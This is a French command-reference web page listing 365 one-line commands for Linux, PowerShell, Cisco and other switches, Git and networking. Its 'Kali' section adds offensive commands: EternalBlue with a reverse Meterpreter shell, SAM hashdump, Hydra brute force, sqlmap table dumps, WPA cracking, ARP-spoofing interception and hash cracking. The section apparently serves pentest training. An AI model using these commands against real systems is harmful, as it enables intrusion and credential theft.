Cheatsheets
Référentiel unifié de commandes — recherche en temps réel par type et mot-clé.
Recherche de commandes(365 / 365)
LinuxFichiers & Répertoires
ls -laLister fichiers avec permissionspwdAfficher répertoire courantcd /pathChanger de répertoiremkdir -p dir/subdirCréer répertoires imbriquésrm -rf dirSupprimer récursivement (force)cp -r src/ dst/Copier récursivementmv file newDéplacer ou renommercat fileAfficher contenu d'un fichierless filePaginer le contenu d'un fichierhead -n 20 fileAfficher les 20 premières lignestail -f /var/log/syslogSuivre un fichier de log en temps réelfind / -name "*.conf" 2>/dev/nullChercher fichiers par nomfind /home -user usernameTrouver fichiers d'un utilisateurfind / -perm /4000 2>/dev/nullFichiers avec bit SUIDgrep -r "pattern" /etc/Recherche récursive de patterngrep -i "error" /var/log/syslogRecherche insensible à la cassegrep -v "^#" /etc/ssh/sshd_configExclure les lignes commentéesgrep -E "192\.168\.[0-9]+\.[0-9]+" log.txtRecherche avec expression régulière étenduetar -czf archive.tar.gz /dossier/Créer archive gziptar -xzf archive.tar.gzExtraire archive gziptar -tzf archive.tar.gzLister le contenu d'une archiveawk -F: '{print $1, $6}' /etc/passwdExtraire colonnes (login et home)sed -i 's/Port 22/Port 2222/' /etc/ssh/sshd_configSubstitution inline dans un fichiersed -n '10,20p' fichier.txtAfficher lignes 10 à 20LinuxPermissions & Utilisateurs
chmod 755 script.shPermissions rwxr-xr-x (octal)chmod 644 fichier.txtPermissions rw-r--r-- (octal)chmod 600 .ssh/id_rsaPermissions clé privée SSHchmod u+x fichierAjouter execute au propriétairechmod a+x script.shExecute pour tous les utilisateurschown user:group fichierChanger propriétaire et groupechown -R www-data:www-data /var/www/Changer propriétaire récursivementuseradd -m -s /bin/bash -G sudo usernameCréer utilisateur avec home et sudopasswd usernameChanger mot de passe utilisateurusermod -aG docker usernameAjouter utilisateur à un groupeusermod -L usernameVerrouiller le compte utilisateurchage -E 2025-12-31 usernameDéfinir date d'expiration du compteid usernameAfficher UID/GID de l'utilisateurgroups usernameLister les groupes d'un utilisateurLinuxSystème & Services
systemctl start nginxDémarrer un servicesystemctl stop nginxArrêter un servicesystemctl restart nginxRedémarrer un servicesystemctl reload nginxRecharger la config sans interruptionsystemctl enable nginxActiver au démarrage automatiquesystemctl status nginxVoir l'état d'un servicejournalctl -u nginx -fSuivre les logs d'un service en temps réeljournalctl -u nginx --since "1 hour ago"Logs depuis la dernière heurejournalctl -p errAfficher uniquement les erreursapt update && apt upgrade -yMettre à jour les paquets (Debian)apt install paquetInstaller un paquetapt remove paquetSupprimer un paquetapt purge paquetSupprimer paquet et ses configsapt autoremoveSupprimer les dépendances orphelinesdpkg -l | grep paquetLister les paquets installésdpkg -i paquet.debInstaller un .deb localps auxLister tous les processusps aux | grep nginxFiltrer processus par nomtopMoniteur processus interactifhtopMoniteur processus améliorékill PIDEnvoyer signal SIGTERM à un processuskill -9 PIDForcer l'arrêt d'un processus (SIGKILL)pkill nginxTuer processus par nomnice -n 10 commandeLancer commande avec priorité bassecrontab -eÉditer les tâches planifiées croncrontab -lLister les tâches cronLinuxRéseau Linux
ip addr showAfficher les interfaces réseauip link set eth0 upActiver une interface réseauip addr add 192.168.1.10/24 dev eth0Assigner une IP à une interfaceip route showAfficher la table de routageip route add default via 192.168.1.1Ajouter une route par défautss -tulnPorts TCP/UDP en écoutess -tulnpPorts en écoute avec processus associésping -c 4 8.8.8.8Test de connectivité ICMPtraceroute 8.8.8.8Tracer la route vers un hôtecurl -I https://example.comAfficher les en-têtes HTTPwget -q -O /dev/null https://example.comTester une URL en silencenslookup example.comRésolution DNS simpledig example.comRésolution DNS détailléedig +short example.com ARésolution DNS courte (enregistrement A)ssh -i ~/.ssh/id_ed25519 user@serveurConnexion SSH avec clé privéessh -p 2222 user@serveurConnexion SSH sur port non-standardssh-keygen -t ed25519 -C "email@example.com"Générer une paire de clés SSHssh-copy-id user@serveurCopier clé publique vers serveurssh -L 8080:localhost:80 user@serveurTunnel SSH local (port forwarding)ssh -R 8080:localhost:80 user@serveurTunnel SSH distant (reverse port forwarding)scp file user@host:/pathCopier un fichier via SSHLinuxFirewall Linux
ufw enableActiver le pare-feu UFWufw status verboseVoir l'état et les règles UFWufw allow 22/tcpAutoriser SSHufw allow 80/tcpAutoriser HTTPufw allow from 192.168.1.0/24Autoriser tout le sous-réseau LANufw deny 23/tcpBloquer Telnetufw delete allow 80/tcpSupprimer une règle UFWiptables -L -v -nLister les règles iptablesiptables -A INPUT -p tcp --dport 80 -j ACCEPTAutoriser trafic entrant HTTPiptables -A INPUT -j DROPBloquer tout trafic non explicitement autoriséiptables-save > /etc/iptables/rules.v4Sauvegarder règles iptablesPowerShellActive Directory
Import-Module ActiveDirectoryImporter le module Active DirectoryGet-ADUser -Filter * | Select-Object Name, SamAccountName, EnabledLister tous les utilisateurs ADGet-ADUser -Identity "username" -Properties *Voir toutes les propriétés d'un utilisateurNew-ADUser -Name "John Doe" -SamAccountName "jdoe" -Enabled $trueCréer un utilisateur ADSet-ADUser -Identity "jdoe" -Title "Administrateur" -Department "IT"Modifier les propriétés d'un utilisateurDisable-ADAccount -Identity "jdoe"Désactiver un compte ADRemove-ADUser -Identity "jdoe"Supprimer un utilisateur ADGet-ADGroup -Filter *Lister tous les groupes ADNew-ADGroup -Name "GRP_IT" -GroupScope Global -GroupCategory SecurityCréer un groupe de sécurité ADAdd-ADGroupMember -Identity "GRP_IT" -Members "jdoe"Ajouter un utilisateur à un groupe ADGet-ADGroupMember -Identity "GRP_IT"Lister les membres d'un groupe ADNew-ADOrganizationalUnit -Name "IT" -Path "DC=domain,DC=local"Créer une OU (unité organisationnelle)Get-ADOrganizationalUnit -Filter *Lister toutes les OUsPowerShellGPO
Get-GPO -AllLister toutes les GPOGet-GPOReport -Name "Default Domain Policy" -ReportType HTML -Path "C:\GPO_Report.html"Exporter un rapport GPO en HTMLNew-GPO -Name "Politique_Securite_IT"Créer une nouvelle GPONew-GPLink -Name "Politique_Securite_IT" -Target "OU=IT,DC=domain,DC=local"Lier une GPO à une OUgpupdate /forceForcer l'application immédiate des GPOgpresult /RRésultat des GPO appliquéesgpresult /H rapport.htmlRapport GPO en HTMLPowerShellDNS & DHCP Windows
Get-DnsServerZoneLister les zones DNSAdd-DnsServerPrimaryZone -Name "example.com" -ZoneFile "example.com.dns"Créer une zone DNS primaireAdd-DnsServerResourceRecordA -Name "www" -ZoneName "example.com" -IPv4Address "192.168.1.10"Ajouter un enregistrement AResolve-DnsName "server01.domain.local"Résoudre un nom DNSipconfig /flushdnsVider le cache DNS localGet-DhcpServerv4ScopeLister les scopes DHCPAdd-DhcpServerv4Scope -Name "LAN" -StartRange 192.168.1.100 -EndRange 192.168.1.200 -SubnetMask 255.255.255.0Créer un scope DHCPGet-DhcpServerv4Lease -ScopeId 192.168.1.0Voir les baux DHCP actifsPowerShellSystème Windows
Get-Service | Where-Object Status -eq "Running"Services en cours d'exécutionStart-Service -Name "wuauserv"Démarrer un service WindowsStop-Service -Name "wuauserv"Arrêter un service WindowsRestart-Service -Name "spooler"Redémarrer un service WindowsSet-Service -Name "wuauserv" -StartupType AutomaticConfigurer le type de démarrageGet-Process | Sort-Object CPU -Descending | Select-Object -First 5Top 5 processus par CPUGet-EventLog -LogName System -Newest 5050 derniers événements systèmeGet-WmiObject Win32_OperatingSystemInformations sur l'OSSet-ExecutionPolicy RemoteSignedAutoriser scripts PowerShell signésGet-ChildItem -Recurse -Filter "*.log"Chercher fichiers log récursivementGet-Process | Export-Csv -Path "processes.csv" -NoTypeInformationExporter processus en CSVsysteminfoInformations système complètes (CMD)tasklistLister les processus (CMD)PowerShellRéseau Windows
Get-SmbShareLister les partages réseauNew-SmbShare -Name "Partage_IT" -Path "D:\Partages\IT" -FullAccess "GRP_IT"Créer un partage réseauSet-SmbShare -Name "Partage_IT" -Description "Partage du service IT"Modifier un partage réseauipconfig /allInformations réseau complètesnetstat -anConnexions réseau actives et portsTest-NetConnection host -Port 80Tester la connectivité TCPInvoke-Command -ComputerName "PC" -ScriptBlock {Get-Service}Exécution distante PowerShellnet user username /domainInfos utilisateur dans le domaine (CMD)net group "Domain Admins" /domainMembres du groupe Domain Admins (CMD)PowerShellHyper-V
Get-VMLister les machines virtuelles Hyper-VNew-VM -Name "Server01" -MemoryStartupBytes 2GB -Generation 2Créer une nouvelle VMStart-VM -Name "Server01"Démarrer une VMStop-VM -Name "Server01"Arrêter une VMCheckpoint-VM -Name "Server01" -SnapshotName "Avant mise à jour"Créer un snapshot de VMCisco IOSNavigation & Affichage
enablePasser en mode privilégié (EXEC)configure terminalEntrer en mode configuration globaleendRetourner au mode privilégié depuis configwrite memorySauvegarder la configuration courantecopy running-config startup-configCopier config active vers startupshow versionVersion IOS et informations hardwareshow running-configAfficher la configuration activeshow ip interface briefRésumé de toutes les interfaces IPshow ip routeAfficher la table de routage IPshow interfacesStatistiques détaillées des interfacesshow vlan briefRésumé des VLANs configurésshow ip ospf neighborVoisins OSPF détectésshow ip ospf databaseBase de données OSPF (LSDB)show access-listsAfficher toutes les ACLsCisco IOSConfiguration Interface
interface GigabitEthernet0/0Entrer en configuration d'interfaceip address 192.168.1.1 255.255.255.0Configurer l'adresse IP d'une interfaceno shutdownActiver l'interface (lever administrativement)description "LAN Interface"Ajouter une description à l'interfacehostname Router1Définir le nom du routeur/switchbanner motd # Message du jour #Message d'avertissement à la connexionCisco IOSVLANs
vlan 10Créer ou accéder au VLAN 10name VLAN_COMPTANommer un VLANswitchport mode accessConfigurer un port en mode accèsswitchport access vlan 10Assigner un port à un VLANswitchport mode trunkConfigurer un port en mode trunkswitchport trunk allowed vlan 10,20,30Autoriser VLANs spécifiques sur trunkCisco IOSRoutage
ip route 192.168.2.0 255.255.255.0 192.168.1.254Route statique vers un réseauip route 0.0.0.0 0.0.0.0 10.0.0.1Route par défaut (passerelle)router ospf 1Activer le processus OSPFnetwork 192.168.1.0 0.0.0.255 area 0Annoncer un réseau en OSPF area 0Cisco IOSNAT & DHCP
access-list 1 permit 192.168.0.0 0.0.255.255ACL standard pour NATip nat inside source list 1 interface Gi0/0 overloadNAT Overload (PAT) vers l'interface WANip nat inside source static 192.168.1.10 203.0.113.5NAT statique (IP privée → IP publique)ip nat insideMarquer interface comme côté LAN (NAT)ip nat outsideMarquer interface comme côté WAN (NAT)ip dhcp pool LAN_POOLCréer un pool DHCPnetwork 192.168.1.0 255.255.255.0Réseau du pool DHCPdefault-router 192.168.1.1Passerelle par défaut DHCPdns-server 8.8.8.8 1.1.1.1Serveurs DNS pour le pool DHCPip dhcp excluded-address 192.168.1.1 192.168.1.20Exclure des adresses du pool DHCPCisco IOSSécurité & ACLs
access-list 10 permit 192.168.1.0 0.0.0.255ACL standard — autoriser sous-réseauaccess-list 10 deny anyACL standard — tout bloqueraccess-list 100 permit tcp 192.168.1.0 0.0.0.255 any eq 80ACL étendue — autoriser HTTPaccess-list 100 permit tcp 192.168.1.0 0.0.0.255 any eq 443ACL étendue — autoriser HTTPSaccess-list 100 deny ip any anyACL étendue — bloquer tout le resteip access-group 100 inAppliquer l'ACL en entrée sur une interfaceGitInitialisation
git initInitialiser un dépôt Git localgit clone urlCloner un dépôt distantgit clone url --depth 1Cloner avec historique minimal (shallow)GitSuivi
git statusVoir l'état des fichiers dans le dépôtgit add .Indexer tous les changementsgit add -pIndexer interactivement par hunksgit commit -m "message"Créer un commitgit commit --amendModifier le dernier commitgit diffVoir les changements non indexésgit diff --stagedVoir les changements indexésgit log --oneline --graphHistorique compact avec graphe de branchesgit show HEADDétails du dernier commitGitRemote
git remote -vLister les dépôts distantsgit remote add origin urlAjouter un dépôt distantgit push origin mainPousser vers la branche maingit push -u origin featurePousser et définir le remote de suivigit pullRécupérer et fusionner depuis le remotegit fetch originRécupérer sans fusionnerGitBranches
git branch -aLister toutes les branches (locales et distantes)git checkout -b featureCréer et basculer sur une nouvelle branchegit switch mainBasculer sur la branche maingit merge featureFusionner une branche dans la branche activegit rebase mainRebaser la branche sur maingit branch -d featureSupprimer une branche localeGitAvancé
git stashMettre de côté les changements en coursgit stash popRestaurer les changements mis de côtégit reset --hard HEAD~1Annuler le dernier commit (destructif)git revert HEADAnnuler le dernier commit (non-destructif)git tag v1.0.0Créer un tag de versiongit cherry-pick abc1234Appliquer un commit spécifiquegit bisect startDémarrer la recherche binaire de régressionRéseauDiagnostic
ping hostTester la connectivité ICMPtraceroute hostTracer la route vers un hôtetracepath hostTracer la route avec MTU (sans root)mtr hostTraceroute interactif en temps réelnetstat -tulnpPorts en écoute avec processus associésarp -aAfficher la table ARP localearp -nTable ARP sans résolution DNSRéseauDNS
dig domainRésolution DNS complètedig @8.8.8.8 domainRésolution DNS via serveur spécifiquedig -x 8.8.8.8Résolution DNS inverse (PTR)nslookup domainRésolution DNS simplehost domainRésolution DNS en ligne de commandewhois domain.comInformations WHOIS d'un domaineRéseauAnalyse
nmap -sV hostScanner les ports et détecter les versionsnmap -sn 192.168.1.0/24Découverte d'hôtes (ping scan)tcpdump -i eth0 port 80Capturer le trafic HTTP sur eth0tcpdump -i eth0 -w capture.pcapEnregistrer une capture réseautcpdump -r capture.pcapLire une capture réseau sauvegardéewiresharkAnalyser le trafic réseau graphiquementRéseauHTTP
curl -I urlAfficher les en-têtes HTTP d'une URLcurl -X POST -d "data" urlRequête HTTP POST avec donnéescurl -u user:pass urlRequête HTTP avec authentificationcurl -k https://urlIgnorer les erreurs de certificat SSLwget urlTélécharger un fichierwget -r -np urlTélécharger récursivement un siteKaliReconnaissance
nmap -sC -sV -oN scan.txt targetScan complet avec scripts NSE et sauvegardenmap -sS targetScan SYN furtif (stealth scan)nmap -p- targetScanner les 65535 portsnmap -O targetDétecter le système d'exploitationnmap -A targetScan agressif (OS, version, scripts, traceroute)nmap --script vuln targetScanner les vulnérabilités connues (NSE)nmap -sS -sV target -oX scan.xmlExport XML pour import Metasploitnmap -sS -sV target -oA scan_completExport dans tous les formats simultanémentgobuster dir -u http://target -w list.txtÉnumération de répertoires webgobuster dns -d target.com -w subdomains.txtÉnumération de sous-domaines DNSsearchsploit keywordRechercher des exploits dans la base localetheHarvester -d domain.com -b allCollecte OSINT : emails, sous-domainesnikto -h http://targetAudit de vulnérabilités d'un serveur webenum4linux -a targetÉnumération SMB/NetBIOS (Windows/Samba)KaliMetasploit
msfconsoleLancer le framework Metasploitsearch ms17-010Rechercher un module par mot-clé ou CVEuse exploit/windows/smb/ms17_010_eternalblueSélectionner un module exploitshow optionsAfficher les paramètres du module actifshow payloadsLister les payloads compatiblesset RHOSTS 10.10.10.1Définir l'adresse de la ciblesetg LHOST 10.10.14.1Définir l'IP d'attaquant globalementset payload windows/x64/meterpreter/reverse_tcpSélectionner un payload MeterpreterexploitLancer l'attaqueexploit -zLancer et mettre la session en arrière-plansessionsLister les sessions activessessions -i 2Interagir avec la session n°2db_nmap -sS -sV 10.10.10.1Scan Nmap depuis msfconsole (résultats en DB)workspace -a TryHackMeCréer un espace de travail isoléhostsLister les machines scannées en baseservicesLister les services découverts en basesaveSauvegarder les variables globales MetasploitKaliMeterpreter
getuidVérifier les privilèges obtenuspsLister les processus sur la ciblemigrate PIDMigrer la session vers un autre processushashdumpExtraire les hashs SAM (mots de passe)run post/windows/gather/smart_hashdumpExtraire et sauvegarder les hashs SAMsearch -f flag*.txtChercher un fichier sur la ciblebackgroundMettre la session en arrière-plan (Ctrl+Z)KaliExploitation
hydra -l user -P wordlist.txt ssh://targetBrute force SSH avec Hydrahydra -L users.txt -P pass.txt http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"Brute force formulaire web HTTPsqlmap -u "http://target?id=1" --dbsDétecter injections SQL et lister BDssqlmap -u "http://target?id=1" -D dbname -T users --dumpExtraire une table via injection SQLKaliWi-Fi
airmon-ng check killTuer les processus interférant avec le Wi-Fiairmon-ng start wlan0Passer la carte Wi-Fi en mode monitorairodump-ng wlan0monScanner tous les réseaux Wi-Fi à portéeairodump-ng --bssid <MAC> --channel <CH> -w capture wlan0monCibler un réseau et capturer le handshake WPAaircrack-ng -b <MAC> -w rockyou.txt capture.capAttaque dictionnaire sur handshake WPAKaliMitM & Réseau
macof -i eth0Saturer la table MAC du switch (flood)ettercap -GLancer Ettercap en mode graphiqueettercap -T -q -i eth0 -M arp:remote /VICTIME// /ROUTEUR//ARP spoofing Man-in-the-Middletcpdump -i eth0 -w interception.pcapCapturer trafic intercepté vers fichier .pcapKaliPost-exploitation
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txtCracker des hashs avec John the Ripperjohn --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hash.txtCracker hashs NTLM (Windows)hashcat -m 0 hash.txt wordlist.txtCracker hashs MD5 avec GPUhashcat -m 1000 hash.txt wordlist.txtCracker hashs NTLM avec GPUsudo gunzip /usr/share/wordlists/rockyou.txt.gzDécompresser le dictionnaire rockyouSwitchCisco — VLAN
show vlan briefAfficher la liste des VLANs et leurs portsvlan 10Créer le VLAN 10 (mode config)name SERVEURSNommer le VLAN courantswitchport mode accessConfigurer le port en mode accèsswitchport access vlan 10Assigner le port au VLAN 10SwitchCisco — Trunk
show interfaces trunkAfficher les ports trunk et VLANs autorisésswitchport mode trunkConfigurer le port en mode trunkswitchport trunk allowed vlan 10,20,30Limiter les VLANs autorisés sur le trunkswitchport trunk native vlan 99Définir le VLAN natif du trunkinterface range gi0/1-24Sélectionner une plage de portschannel-group 1 mode activeCréer un EtherChannel LACPshow etherchannel summaryAfficher l'état des EtherChannelsSwitchCisco — STP
show spanning-treeAfficher l'état du Spanning Treespanning-tree portfastActiver PortFast (transition immédiate)spanning-tree bpduguard enableActiver BPDU Guard (protection boucle)SwitchCisco — Sécurité port
show port-securityAfficher l'état de la sécurité des portsswitchport port-securityActiver la sécurité sur le portswitchport port-security maximum 2Limiter à 2 adresses MAC sur le portswitchport port-security violation shutdownDésactiver le port en cas de violationswitchport port-security mac-address stickyApprendre dynamiquement les MAC autoriséesSwitchCisco — Monitoring
show running-configAfficher la configuration activeshow startup-configAfficher la configuration sauvegardéeshow mac address-tableAfficher la table d'adresses MACshow interfaces statusÉtat résumé de tous les portsSwitchCisco — Sauvegarde config
copy running-config startup-configSauvegarder la config active en NVRAMcopy running-config tftp:Exporter la config vers un serveur TFTPSwitchHP/Aruba — VLAN
show vlansAfficher tous les VLANs configurésvlan 10Créer le VLAN 10vlan 10 untagged 1-24Assigner ports 1-24 au VLAN 10 (access)vlan 10 tagged 25-26Ajouter VLAN 10 en trunk sur ports 25-26SwitchHP/Aruba — Trunk & STP
show trunksAfficher les agrégations de lienstrunk 25-26 trk1 lacpCréer un trunk LACP sur ports 25-26show spanning-treeAfficher l'état du Spanning Treespanning-tree 1-24 admin-edge-portActiver edge-port (équiv. PortFast)SwitchHP/Aruba — Monitoring
show running-configAfficher la configuration activeshow interfaces briefÉtat résumé de tous les portsshow mac-addressAfficher la table MACSwitchHP/Aruba — Sauvegarde
write memorySauvegarder la configurationSwitchJuniper — VLAN
show vlansAfficher tous les VLANs configurésset vlans SERVEURS vlan-id 10Créer le VLAN 10 nommé SERVEURSset interfaces ge-0/0/1 unit 0 family ethernet-switching vlan members 10Assigner un port au VLAN 10SwitchJuniper — Trunk & STP
show ethernet-switching tableAfficher la table de commutation MACshow interfaces terseÉtat résumé de toutes les interfacesshow spanning-tree bridgeAfficher les infos du bridge STPset protocols rstp interface ge-0/0/1 edgeActiver edge-port RSTP sur un portSwitchJuniper — Sauvegarde
commitAppliquer les changements de configurationrollback 1Revenir à la configuration précédenteshow configuration | compare rollback 1Comparer config actuelle vs précédenteSwitchExtreme — VLAN
show vlanAfficher tous les VLANscreate vlan SERVEURS tag 10Créer le VLAN 10 nommé SERVEURSconfigure vlan SERVEURS add ports 1-24 untaggedAssigner des ports en mode accessconfigure vlan SERVEURS add ports 25 taggedAjouter un port en mode trunkSwitchExtreme — Monitoring
show ports informationAfficher l'état de tous les portsshow fdbAfficher la table de forwarding MACshow stpd detailAfficher les détails du Spanning TreeSwitchExtreme — Sauvegarde
save configurationSauvegarder la configuration active